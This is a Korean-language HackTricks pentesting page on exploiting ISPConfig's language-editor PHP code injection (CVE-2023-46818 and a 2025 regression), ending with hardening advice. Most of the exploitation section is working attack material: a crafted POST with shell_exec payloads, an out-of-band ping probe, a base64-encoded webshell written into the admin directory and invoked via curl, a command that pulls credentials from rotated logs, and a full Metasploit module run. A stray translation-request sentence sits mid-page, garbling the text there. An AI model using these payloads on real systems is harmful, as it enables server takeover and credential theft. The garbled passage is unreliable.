ISPConfig

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

개요

ISPConfig는 오픈 소스 호스팅 컨트롤 패널입니다. 오래된 3.2.x 빌드에는 언어 파일 편집기(language file editor) 기능이 포함되어 있었고, 해당 기능이 super administrator에게 활성화되어 있을 경우 잘못된 번역 레코드를 통해 임의의 PHP 코드 주입이 가능했습니다. 이는 웹 서버 컨텍스트에서 RCE를 유발할 수 있으며, PHP가 어떻게 실행되는지에 따라 privilege escalation으로 이어질 수 있습니다.

Key default paths:

  • Web root often at /var/www/ispconfig when served with php -S or via Apache/nginx.
  • Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).

팁: 패널이 로컬에 바인딩되어 있는 경우(예: 127.0.0.1:8080) 포워딩하세요:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

언어 편집기 PHP code injection (CVE-2023-46818)

  • 영향 대상: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • 전제 조건:
  • 내장 superadmin 계정 admin으로 로그인 (공급업체에 따르면 다른 역할은 영향을 받지 않음)
  • Language editor가 활성화되어 있어야 함: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • 영향: 인증된 admin은 언어 파일에 기록되어 애플리케이션에서 실행되는 임의의 PHP를 주입할 수 있어, 웹 컨텍스트에서 RCE를 발생시킬 수 있습니다

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

수동 익스플로잇 절차

  1. CSRF 토큰을 얻기 위해 언어 파일을 열거나 새로 만듭니다

첫 번째 POST를 전송하여 폼을 초기화하고 HTML 응답에서 CSRF 필드(csrf_id, csrf_key)를 파싱합니다. 예시 요청 경로: /admin/language_edit.php.

  1. records[]를 통해 PHP를 주입하고 저장

CSRF 필드를 포함하여 두 번째 POST를 제출하고 악의적인 번역 레코드를 저장합니다. Minimal command-execution probes:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band test (ICMP 관찰):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. 파일 작성 및 webshell 배포

웹에서 접근 가능한 경로(예: admin/) 아래에 파일을 생성하려면 file_put_contents를 사용하세요:

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

그런 다음 POST 본문에서 문제가 되는 문자를 피하기 위해 base64를 사용해 간단한 webshell을 작성하세요:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

파일(src/network-services-pentesting/pentesting-web/ispconfig.md)의 내용을 여기에 붙여 넣어 주세요. 마크다운/HTML 태그, 코드, 링크, 경로 및 지정된 태그는 번역하지 않고 그대로 유지하여 한국어로 번역해 드립니다.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

만약 PHP가 root로 실행된다면(예: php -S 127.0.0.1:8080를 root가 시작한 경우), 즉시 root RCE를 획득합니다. 그렇지 않으면 웹 서버 사용자 권한으로 코드 실행을 얻습니다.

2025 regression (ISPConfig 3.3.0 / 3.3.0p1)

언어 편집기 버그가 3.3.0/3.3.0p1에서 재발했으며 3.3.0p2에서 수정되었습니다. 전제 조건은 변경되지 않았습니다 (admin_allow_langedit 및 admin 로그인). 동일한 패치는 monitor XSS와 world-readable rotated logs 문제도 해결했습니다.

참고:

  • 3.3.0/3.3.0p1에서는 /usr/local/ispconfig/interface/log/ 아래의 world-readable rotated logs가 debug logging이 활성화된 경우 credentials를 leak할 수 있습니다:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Exploit 단계는 CVE-2023-46818과 일치합니다; 3.3.0p2는 언어 편집 전에 추가 검사를 도입합니다.

Python PoC

즉시 사용 가능한 exploit는 token 처리와 payload 전달을 자동화합니다:

실행 예:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit module (출시: 2025년 7월)

Rapid7은 exploit/linux/http/ispconfig_lang_edit_php_code_injection을 추가했으며, 제공된 관리자 계정이 system-config 권한을 가지고 있으면 admin_allow_langedit을 자동으로 활성화할 수 있습니다.

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

이 모듈은 records[]를 통해 base64로 인코딩된 페이로드를 기록하고 실행하여 PHP Meterpreter 또는 커스텀 페이로드를 제공합니다.

보안 강화

  • 원래 이슈에 대해서는 3.2.11p1 이상으로, 2025년 회귀에 대해서는 3.3.0p2 이상으로 업그레이드하세요.
  • 필요하지 않은 경우 언어 편집기를 비활성화하세요:
admin_allow_langedit=no
  • 패널을 root로 실행하지 마십시오; PHP-FPM 또는 웹 서버를 구성하여 권한을 낮추십시오
  • 내장된 admin 계정에 대해 강력한 인증을 적용하십시오

참고

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기